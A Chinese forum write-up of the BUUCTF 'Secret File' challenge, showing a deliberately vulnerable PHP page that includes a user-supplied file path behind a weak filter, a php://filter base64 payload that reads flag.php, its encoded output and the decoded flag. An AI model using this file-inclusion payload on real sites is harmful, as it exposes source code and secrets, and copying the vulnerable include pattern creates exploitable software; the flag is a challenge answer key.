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☆ BUUCTF靶场7 -- [极客大挑战 2019]Secret File
[HTML] 纯文本查看 复制代码
<html>
<body style="background-color:black;"><br>
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
<div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</body>
</html>
点击SECRET，直接查阅完毕了，到了end.php了，中间的./action.php都做了些啥....
查看源码发现了一个secr3t.php
[PHP] 纯文本查看 复制代码 <html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
[Plain Text] 纯文本查看 复制代码 PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NjhmMzQzNmQtYWRmMy00ZmU1LWExYTQtN2Q1N2UyMGQ3Mjg2fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
机密后
[HTML] 纯文本查看 复制代码 <!DOCTYPE html><html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{68f3436d-adf3-4fe5-a1a4-7d57e20d7286}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
> resource：资源
> source：来源出处
> 墨者学院、bugku、buuctf
| 
发表于 2022-9-1 16:44:33
